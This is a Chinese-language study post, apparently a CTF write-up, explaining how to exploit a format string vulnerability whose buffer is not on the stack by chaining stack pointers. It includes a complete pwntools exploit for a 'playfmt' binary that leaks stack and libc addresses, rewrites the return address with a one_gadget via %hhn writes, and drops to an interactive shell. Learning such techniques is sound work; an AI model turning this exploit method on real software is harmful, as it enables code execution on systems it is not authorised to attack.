仅供个人学习参考

对于非栈上的格式化字符串漏洞,我们无法往栈上填入指针(指向目标地址的指针)来实现任意写,所以我们采取新的方式:利用指针链
首先要在栈上寻找像a-b-c这样的指针链(a,b,c均在栈上),然后我们便能利用%n(%hn,%hhn)来修改
假设offset表示格式化的参数位置。通过第offset0个参数,利用%hhn可以控制address1的最低位,再通过第offset1个参数,利用%hhn可以写address2的最低位;然后通过offset0参数,利用%hhn修改address1的最低位为原始值+1,再通过offset1参数,利用%hhn可以写address2的次低位;依次循环即可完全控制address2的值,再次利用address1和address2的链式结构,即可实现对address2地址空间的任意写。

“%{}c%{}$hhn”.format(address,offset)就是向offset参数指向的地址最低位写成address。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
io=process("./playfmt")
elf=ELF("./playfmt")
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
context.log_level="debug"
context.terminal=['tmux','splitw','-h']
gdb.attach(io,"b *0x0804855F")

io.recv()

#泄露地址
payload="%6$p%8$p"
io.send(payload)
io.recvuntil("0x")
stack_real_addr=int(io.recv(8),16)-0xffffd048+0xffffd020
success("stack_real_addr:"+hex(stack_real_addr))
io.recvuntil("0x")
_IO_2_1_stdout_real=int(io.recv(8),16)
libc_addr=_IO_2_1_stdout_real-libc.sym['_IO_2_1_stdout_']
success("libc_addr:"+hex(libc_addr))

## 利用指针链修改地址

def write_address(off0,off1,target_addr):
io.sendline("%{}$p".format(off1))
io.recvuntil("0x")
addr1 = int(io.recv(8),16)&0xff
io.recv()
for i in range(4):
io.sendline("%{}c%{}$hhn".format(addr1+i,off0))
io.recv()
io.sendline("%{}c%{}$hhn".format(target_addr&0xff,off1))
io.recv()
target_addr=target_addr>>8
io.sendline("%{}c%{}$hhn".format(addr1,off0))
io.recv()

one_gadget=libc_addr+0x67ccf
print(hex(one_gadget))
offset0=6
offset1=10
offset2=14

write_address(offset0,offset1,stack_real_addr+0x1c) #stack_real_addr+0x1c为retaddr
pause()
write_address(offset1,offset2,one_gadget)
pause()
io.sendline("quit")
io.interactive()

初始指针链为a-b-c-others ret-play
第一次调用write函数后栈上情况:
1
指针链变成a-b-c-ret-play

第二次调用write函数后栈上情况:
1
指针链变成a-b-c-ret-one_gadget ret-one_gadget

换个视角看是这样↓

调用write前
1

第一次调用write后
1

第二次调用write后
1

以上利用需要有循环触发格式化字符串漏洞的条件,并且栈上存在指针链,并且在这个过程中栈结构不被破坏